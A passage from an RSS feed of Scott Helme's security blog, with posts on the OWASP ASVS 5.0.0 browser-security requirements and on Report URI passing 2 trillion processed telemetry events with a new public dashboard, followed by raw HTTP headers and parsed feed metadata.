    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/9000.0.1/components/prism-yaml.min.js" integrity="sha512-epBuSQcDNi/0lmCXr7cGjqWcfnzXe4m/GdIFFNDcQ7v/JF4H8I+l4wmVQiYO6NkLGSDo3LR7HaUfUL/5sjWtXg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[OWASP ASVS 5.0.0 is here!]]></title><description><![CDATA[<p>I&apos;ve been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">Application Security Verification</a></p>]]></description><link>https://scotthelme.ghost.io/owasp-asvs-5-0-0-is-here/</link><guid isPermaLink="false">684ffc0ea1c29300018cdf43</guid><category><![CDATA[OWASP]]></category><category><![CDATA[ASVS]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 04 Aug 2025 10:07:02 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg" alt="OWASP ASVS 5.0.0 is here!"><p>I&apos;ve been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">Application Security Verification Standard</a> (ASVS), had a major update released and it brought with it some exciting changes. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/06/image-5.png" class="kg-image" alt="OWASP ASVS 5.0.0 is here!" loading="lazy" width="2000" height="500" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/06/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/06/image-5.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/06/image-5.png 1600w, https://scotthelme.ghost.io/content/images/size/w2400/2025/06/image-5.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="owasp-asvs">OWASP ASVS</h4><p>I&apos;d bet that most people are familiar with the <a href="https://owasp.org/www-project-top-ten/?ref=scotthelme.ghost.io" rel="noreferrer">OWASP Top 10</a> project, one of the most notable flagship projects to come out of OWASP! </p><blockquote>The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.</blockquote><p></p><p>For me, coming in at a close second place is the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">OWASP ASVS</a> project, another project aimed at helping the community with a structured approach to taking care of application security.</p><blockquote>The OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.</blockquote><p></p><p>One of the things I love about the ASVS is the straightforward, &quot;no nonsense&quot; approach. They aren&apos;t requirements imagined in a vacuum, beyond the realistic hope or requirement of anyone trying to implement, instead they seek to be effective and balanced. This quote from the early paragraphs of the document in the &apos;Level evaluation&apos; section, where you consider which level of compliance is appropriate for you, says a lot:</p><blockquote>Levels are defined by priority&#x2011;based evaluation of each requirement based on experience implement&#x2011; ing and testing security requirements. The main focus is on comparing risk reduction with the effort to implement the requirement. Another key factor is to keep a low barrier to entry.</blockquote><p></p><p>I&apos;ve provided a copy of the standard below and if you&apos;re not familiar with ASVS, I&apos;d really recommend checking it out, even if only for you to use it as a reference rather than a hard requirement. </p><div class="kg-card kg-file-card"><a class="kg-file-card-container" href="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/files/2025/06/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf?ref=scotthelme.ghost.io" title="Download" download><div class="kg-file-card-contents"><div class="kg-file-card-title">OWASP_Application_Security_Verification_Standard_5.0.0_en</div><div class="kg-file-card-caption"></div><div class="kg-file-card-metadata"><div class="kg-file-card-filename">OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf</div><div class="kg-file-card-filesize">504 KB</div></div></div><div class="kg-file-card-icon"><svg viewbox="0 0 24 24"><defs><style>.a{fill:none;stroke:currentColor;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.5px;}</style></defs><title>download-circle</title><polyline class="a" points="8.25 14.25 12 18 15.75 14.25"/><line class="a" x1="12" y1="6.75" x2="12" y2="18"/><circle class="a" cx="12" cy="12" r="11.25"/></svg></div></a></div><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png" class="kg-image" alt="OWASP ASVS 5.0.0 is here!" loading="lazy" width="800" height="400" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/06/Report-URI-Twitter-Card.png 600w, https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="the-parts-where-we-can-help">The parts where we can help</h4><p>As a platform focused on providing organisations with the tools they need to be secure, there is of course a huge overlap between the requirements in the OWASP ASVS 5.0.0 standard, and <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s wide range of products and features. Some of these requirements are more generalised and are something we can help with on a more holistic approach, and some of them are slam-dunk cases where Report URI can 100% help you meet that requirement. We&apos;ll go through these requirements at a high level and look at how Report URI can help, and we&apos;ll also provide additional guidance and context to help you understand the requirements better. Let&apos;s start with the big hitters first, and go from there, and also remember to check the compliance level which we will provide for each requirement to see if it&apos;s something you will need to consider. Here&apos;s a quick summary of the compliance levels if you aren&apos;t familiar with them.</p><p>&#x2705; <strong>Level 1 &#x2014; Informational / Low Assurance</strong><br>Low-risk apps (e.g. simple brochure sites or MVPs).</p><p><strong>&#x2705;&#x2705; Level 2 &#x2014; Standard Assurance (Baseline Compliance)</strong><br>Apps handling personal data, business logic, or moderate sensitivity.</p><p><strong>&#x2705;&#x2705;&#x2705; Level 3 &#x2014; High Assurance</strong><br>Financial systems, healthcare apps, and other high-value or high-impact systems.</p><p></p><p>You can assess which level of the requirements is suitable for your application, and then you can use that to guide you through the following sections to determine which apply to you and your application.</p><p></p><h4 id="v31-web-frontend-security-documentation">V3.1 Web Frontend Security Documentation</h4><p>This is a pretty sensible requirement to protect against the impact of malicious content find its way in to your site, and as a Level 1 requirement, is applicable to all sites.</p><p></p><p><strong>3.2.1 (Level 1)</strong></p><blockquote>Verify that security controls are in place to prevent browsers from rendering content or functionality in HTTP responses in an incorrect context (e.g., when an API, a user&#x2011;uploaded file or other resource is requested directly). Possible controls could include: not serving the content unless HTTP request header fields (such as Sec&#x2011;Fetch&#x2011;*) indicate it is the correct context, using the sandbox directive of the Content&#x2011;Security&#x2011;Policy header field or using the attachment disposition type in the Content&#x2011;Disposition header field.
    </blockquote><p></p><p>Whenever you&apos;re using Content Security Policy, it&apos;s <em>always </em>advisable to monitor that policy and ensure there isn&apos;t anything happening that you weren&apos;t expecting. The sandbox directive is particularly powerful in the suggested context and allows you to isolate the downloaded content.</p><p></p><h4 id="v34-browser-security-mechanism-headers">V3.4 Browser Security Mechanism Headers
    </h4><p>Honestly at this point in the realm of security online, who doesn&apos;t love Security Headers?! There is so much powerful protection you can leverage by configuring these relatively simple mechanisms, it&apos;s no wonder that they got an entire section in the standard. You should read this entire section, absolutely, but here are the parts we can help with specifically.</p><p></p><p><strong>3.4.3 (Level 2 and Level 3)</strong></p><blockquote>Verify that HTTP responses include a Content&#x2011;Security&#x2011;Policy response header field which defines directives to ensure the browser only loads and executes trusted content or resources, in order to limit execution of malicious JavaScript. As a minimum, a global policy must be used which includes the directives object&#x2011;src &#x2018;none&#x2019; and base&#x2011;uri &#x2018;none&#x2019; and defines either an allowlist or uses nonces or hashes. For an L3 application, a per&#x2011;response policy with nonces or hashes must be defined.</blockquote><p></p><p><strong>3.4.6 (Level 2)</strong></p><blockquote>Verify that the web application uses the frame&#x2011;ancestors directive of the Content&#x2011;Security&#x2011;Policy header field for every HTTP response to ensure that it cannot be embedded by default and that embedding of specific resources is allowed only when necessary. Note that the X&#x2011;Frame&#x2011;Options header field, although supported by browsers, is obsolete and may not be relied upon.</blockquote><p></p><p><strong>3.4.7 (Level 3)</strong></p><blockquote>Verify that the Content&#x2011;Security&#x2011;Policy header field specifies a location to report violations.</blockquote><p></p><p>That last one is particularly noteworthy, and I&apos;d say that any application with a CSP in place should be monitoring for those violations because you want to know if things have been configured incorrectly, or worse, an attack is currently ongoing! All of that guidance is sensible though and these are all standard things that we&apos;d be recommending to our customers anyway.</p><p></p><p><strong>V3.6 External Resource Integrity</strong></p><p>Another common risk being addressed by this requirement is that of your JavaScript supply chain. Over the years we have seen so many attacks where a website is compromised not because they were breached, but because one of their dependencies was breached instead! Whilst this requirement focuses specifically on the venerable Subresource Integrity (SRI), at the time of writing we have a new feature in beta that will go far beyond the capabilities of SRI and provide even more value. Reach out if you&apos;re interested in joining the beta!</p><p></p><p><strong>3.6.1 (Level 3)</strong></p><blockquote>Verify that client&#x2011;side assets, such as JavaScript libraries, CSS, or web fonts, are only hosted externally (e.g., on a Content Delivery Network) if the resource is static and versioned and Subresource Integrity (SRI) is used to validate the integrity of the asset. If this is not possible, there should be a documented security decision to justify this for each resource.</blockquote><p></p><h4 id="getting-started">Getting Started</h4><p>If you want to start the process of improving the security of your web application, you can get started with a free trial on our website right now, or reach out to our team if you&apos;d like some support through this process. Maybe you&apos;re looking to avoid the risk of a costly data breach in the future, maybe you have some particular compliance requirement you&apos;re trying to meet, or perhaps you&apos;ve identified a specific concern you&apos;d like to address. Either way, we&apos;re here to help, and we have more than a decade of experience to draw from as we support you.</p><p>To achieve this, the ASVS standard is a great basis to work from, and I want to quote the following objectives from the standard itself:</p><p></p><blockquote>&#x2022;<strong> Use as a metric</strong>&#xA0;- Provide application developers and application owners with a yardstick with which to assess the degree of trust that can be placed in their Web applications,<br>&#x2022;<strong> Use as guidance</strong>&#xA0;- Provide guidance to security control developers as to what to build into security controls in order to satisfy application security requirements, and<br>&#x2022;<strong> Use during procurement</strong>&#xA0;- Provide a basis for specifying application security verification requirements in contracts.</blockquote><p></p><p>No matter which angle you&apos;re coming from, I&apos;m hoping to see increased adoption of the OWASP ASVS requirements over time and the benefits that will bring to security across the Web.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀]]></title><description><![CDATA[<p>We&#x2019;ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>!!! That&#x2019;s <em>2,000,000,000,000</em> events for <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">CSP</a>, <a href="https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io" rel="noreferrer">NEL</a>, <a href="https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">DMARC</a>, and other browser-generated and email telemetry reports&#x2014;ingested, parsed, and processed for our customers!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image.png" class="kg-image" alt loading="lazy" width="565" height="215"></a></figure><p></p><p>This is a phenomenal milestone to achieve</p>]]></description><link>https://scotthelme.ghost.io/trillion-with-a-t-surpassing-2-trillion-events-processed/</link><guid isPermaLink="false">6863a159db89a500016be6a1</guid><category><![CDATA[Report URI]]></category><category><![CDATA[report-uri.com]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 02 Jul 2025 18:12:32 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;"><p>We&#x2019;ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>!!! That&#x2019;s <em>2,000,000,000,000</em> events for <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">CSP</a>, <a href="https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io" rel="noreferrer">NEL</a>, <a href="https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">DMARC</a>, and other browser-generated and email telemetry reports&#x2014;ingested, parsed, and processed for our customers!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="565" height="215"></a></figure><p></p><p>This is a phenomenal milestone to achieve in the year that will mark our 10th Birthday, and shows just how quickly we&apos;re still growing!</p><p><strong>May 2015</strong>: 0 Events - Launch Day [<a href="https://scotthelme.co.uk/csp-and-hpkp-violation-reporting-with-report-uri-io/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>March 2021</strong>: 500,000,000,000 Events - 500 Billion Events [<a href="https://www.facebook.com/reporturi/posts/pfbid0jZJQRbPsDZZsKnA21QzwQa7CcATd1AjD8Zwr4EPHeqytrDAC5hTjuSc8wbH5xuz2l" rel="noreferrer">source</a>]<br><strong>February 2022</strong>: 1,000,000,000,000 Events - 1 Trillion Events [<a href="https://x.com/Scott_Helme/status/1490066996268052494?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>November 2023</strong>: 1,500,000,000,000 Events - 1.5 Trillion Events [<a href="https://scotthelme.co.uk/report-uri-a-week-in-numbers-2023-edition/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]<br><strong>July 2025</strong>: 2,000,000,000,000 Events - 2 Trillion Events [keep reading!]</p><p></p>
    <!--kg-card-begin: html-->
    <a href="https://report-uri.com/?ref=scotthelme.ghost.io" style="box-shadow: none;">
      <img src="https://scotthelme.co.uk/content/images/2025/07/report-uri---Copy.png" style="max-width: 75%;" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;">
    </a>
    <!--kg-card-end: html-->
    <p></p><p>To mark this incredible occasion, I&apos;m excited to announce the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Global Telemetry Dashboard</a>. I often get questions about how many telemetry events we process per day, how many browsers send us telemetry, where does the telemetry come from?! Well, now, you can see the answer to all of those questions and a lot more. If you like cool graphs, geeky data, and insights into things operating at enormous scale, you&apos;re really going to enjoy this! &#x1F60E;</p><p></p><h4 id="the-report-uri-global-telemetry-dashboard">The Report URI Global Telemetry Dashboard</h4><p>Taking screenshots and sharing them here really isn&apos;t going to do this justice, and there is a special surprise on one of the dashboards that I&apos;m not going to spoil for you here! If you want to see all of this stuff live and have a play around with it yourself, head over to the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">dashboard</a> now. For those of you still here, I want to share some information and insights into the data. </p><p>As of the time of writing, this is the exact data showing on the homepage of the dashboard:</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-1.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="782" height="717" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-1.png 782w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>That incredible number of almost 2 trillion events processed is right there, and a pretty incredible average of over <em>12,000 events per second</em> that we processed yesterday! The thing that always strikes me about this number is that this isn&apos;t requests that we&apos;re serving a response to, nothing here can be served from cache. Each inbound event needs processing, analysing, and storing, with the potential for alerts to be raised, Threat Intelligence to be generated, customers to be notified and much, much more. Another impressive statistic is just how many unique clients out there are sending us telemetry data, reaching almost a quarter of a billion unique clients in just the last 30 days! That&apos;s a huge amount of insight into the Web ecosystem and a significant contributing factor to the benefit we can bring by leveraging that insight to spot attacks faster. The remainder of the <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Dashboard Home</a> page shows additional insights into our traffic volumes, showing the hourly data for the last 24 hours, and the daily data for the last 7 and 30 days.</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-5.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="950" height="562" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-5.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-5.png 950w" sizes="(min-width: 720px) 720px"></a></figure><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-3.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="940" height="555" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-3.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-3.png 940w" sizes="(min-width: 720px) 720px"></a></figure><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-4.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="943" height="550" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-4.png 943w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>You can already start to see some interesting trends in that data, and these are trends that we&apos;ve been tracking for a really long time. The 24 hour graph clearly shows the busy periods within a typical day for us, and it&apos;s not surprising to guess at what time of the day we see the most telemetry! Both the 7 day and 30 day graphs show our typical weekly trends too, with far more activity showing Mon-Fri than at the weekend. </p><p></p><h4 id="the-global-heat-map">The Global Heat Map</h4><p>This particular page in the dashboard is my second-favourite, and it&apos;s easy to see why. Looking at the telemetry we received over the last 30 days, this <a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io" rel="noreferrer">heat map</a> shows where that telemetry came from!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-6.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1475" height="740" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-6.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-6.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-6.png 1475w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>You can zoom in to the map and really start to see where the busiest locations for us receiving telemetry are, with some expected locations showing up as the hottest areas of the map, and some more surprising areas showing up in there too! Zooming all the way in to the datacentre just down the road from me in Manchester, you can see exact counts of telemetry that went through that location in the last 30 days.</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-7.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="748" height="825" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-7.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-7.png 748w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>Have a fly around the map and see what your nearest location is and what volume of telemetry went through that location in the last 30 days on our <a href="https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io" rel="noreferrer">Heat Map</a>!</p><p></p><h4 id="we-have-a-pew-pew-map">We have a Pew Pew Map!</h4><p>Okay okay I said I wasn&apos;t going to spoil the surprise, but I am way too excited about this one! Ever since seeing the original Norse Attack Map over 10 years ago, I&apos;ve always wanted my own <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">Pew Pew Map</a>, and now we have one! The GIF here is simply not going to do this justice, so you absolutely should head over to the page and see this thing live, in action, right now!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1602" height="1015" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/pew-pew-map-1.gif 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/pew-pew-map-1.gif 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/07/pew-pew-map-1.gif 1600w, https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif 1602w" sizes="(min-width: 720px) 720px"></figure><p></p><p>What you&apos;re seeing here is <em>actual telemetry</em> being to sent to us! The map is 5 minutes behind real-time, and the data is real. The more red the zap is, the more telemetry we received from that location, and the faster the zap is moving, the more frequently we are receiving telemetry from that location! There are no estimations here, there is no mock data. This is a direct representation of real data, and I think that just makes this even more awesome! Our primary datacentre is located in SFO, as I&apos;m sure you&apos;ve guessed, and we do have a secondary location in AMS for our more regulated EU customers, but they are excluded from this data. </p><p>I&apos;m tempted to get myself a second monitor off to the side of my desk just for this map, it really is quite cool to watch. If you come back at different times during the day, you can clearly see the different trends in our traffic patterns for inbound telemetry, to the point where you can almost track the Sun moving across the map based on the telemetry volumes!</p><p></p><h4 id="country-specific-data">Country Specific Data</h4><p>There&apos;s just no way you can top a Pew Pew Map, but we do still have a heap of interesting data that we can peruse. The next page is our <a href="https://dash.report-uri.com/country/?ref=scotthelme.ghost.io" rel="noreferrer">Country Specific Data</a>, which in many ways shows exactly what you might expect, with a couple of surprises in there too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-8.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="850" height="493" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-8.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-8.png 850w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The US is by far our largest source of telemetry data, which makes a lot of sense as a large portion of our customers are US-based companies, likely with US based visitors themselves. People may be surprised to see Japan so high up that list, but we do have a few quite notable customers in Japan, including a rather large coffee company, so they generate more than their fair share of telemetry. After that, the UK is coming in, followed by India that are helped by their population size, and then a broad selection of countries that you might expect to see up there too. The table below that gives exact details on our Top 20 Countries, but here are the top 3 for you.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-9.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="754" height="305" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-9.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-9.png 754w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="some-technical-data">Some technical data!</h4><p>To close things out for now, we have our <a href="https://dash.report-uri.com/info/?ref=scotthelme.ghost.io" rel="noreferrer">Detailed Information</a> dashboard that goes into a little bit more of the technical data behind our inbound telemetry. We do have plans to expand this to incorporate a lot more metrics, but for now, I think we have a pretty good selection available. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-10.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1027" height="1153" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-10.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-10.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-10.png 1027w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the HTTP Version and TLS Protocol used, you can see that we clearly have a very wide selection of modern clients out there, using TLSv1.3 almost exclusively, and HTTP/2 and HTTP/3 taking the lion&apos;s share of the application protocol. When responding to inbound telemetry requests, our most common response is an empty txt response to save as much bandwidth and overhead as possible, we simply reply with an empty 201 to acknowledge receipt. After the 201, we have a variety of response codes that we might use along with a message in the body to give more information on the problem to help with debugging. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/07/image-11.png" class="kg-image" alt="Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;" loading="lazy" width="1025" height="1145" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-11.png 1025w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Taking a look across the next set of data, I&apos;m often quite surprised to see Firefox so heavily represented in the Client UA, but there are a wider selection of Chromium based browsers in the mix. The front runners for Top Colo By Requests won&apos;t be a huge surprise given the country data above, but it is nice to see a breakdown of where our most popular locations are. Closing it out, we have a little more client data showing the Client OS, with a probably expected Windows and iOS being the most dominant, and Client Type showing that Desktop is hanging on to the top spot with Mobile close behind!</p><p></p><h4 id="theres-more-to-come">There&apos;s more to come!</h4><p>I created this dashboard to scratch an itch, I got to play with some cool data, and as I mentioned above, I&apos;ve <em>always</em> wanted a pew pew map! I also really enjoyed stepping away from the more serious responsibilities of being &apos;CEO and Founder&apos; to play around with cool technology and build something awesome! That is, after all, why I founded the company in the first place. </p><p>I hope the dashboard will be interesting and provide some insight into what we&apos;re doing, and if there&apos;s something you&apos;d like to see added to the dashboard, or any questions you have, just let me know in the comments below. As I come across any interesting metrics in the future, I&apos;ll be sure to add them to the dashboard, and I&apos;d love to hear your suggestions too!</p><p></p>]]></content:encoded></item></channel></rss>
    Raw headers
    {
      "age": "75123",
      "alt-svc": "clear",
      "cache-control": "public, max-age=0",
      "cf-cache-status": "DYNAMIC",
      "cf-ray": "9dc5ccc16077c424-CMH",
      "connection": "keep-alive",
      "content-type": "application/rss+xml; charset=utf-8",
      "date": "Sat, 14 Mar 2026 19:49:07 GMT",
      "etag": "W/\"31820-Gs4LEf/YOT/pnHeuFWTPwJ28xzk\"",
      "ghost-fastly": "true;production",
      "server": "cloudflare",
      "status": "200 OK",
      "transfer-encoding": "chunked",
      "vary": "Cookie",
      "via": "1.1 varnish, 1.1 varnish, 1.1 varnish",
      "x-cache": "MISS, HIT, HIT",
      "x-cache-hits": "0, 56, 0",
      "x-request-id": "9fb6d0f0-2a8e-47ca-a586-0e6c316290ed",
      "x-served-by": "cache-ams2100115-AMS, cache-ams2100100-AMS, cache-cmh1290049-CMH",
      "x-timer": "S1773517747.457187,VS0,VE2"
    }
    Parsed with @rowanmanning/feed-parser
    {
      "meta": {
        "type": "rss",
        "version": "2.0"
      },
      "language": null,
      "title": "Scott Helme",
      "description": "Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.",
      "copyright": null,
      "url": "https://scotthelme.ghost.io/",
      "self": "https://scotthelme.ghost.io/rss/",
      "published": null,
      "updated": "2026-03-13T22:57:04.000Z",
      "generator": {
        "label": "Ghost 6.22",
        "version": null,
        "url": null
      },
      "image": {
        "title": "Scott Helme",
        "url": "https://scotthelme.ghost.io/favicon.png"
      },
      "authors": [],
      "categories": [],
      "items": [
        {
          "id": "69af02a1fedfb90001b38825",
          "title": "XSS Ranked #1 Top Threat of 2025 by MITRE and CISA",
          "description": "<p>Look who's back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote about that</a>, and at the end of the blog post I said \"<em>Let's make sure that XSS isn't #1 in</em></p>",
          "url": "https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/",
          "published": "2026-03-10T14:21:27.000Z",
          "updated": "2026-03-10T14:21:27.000Z",
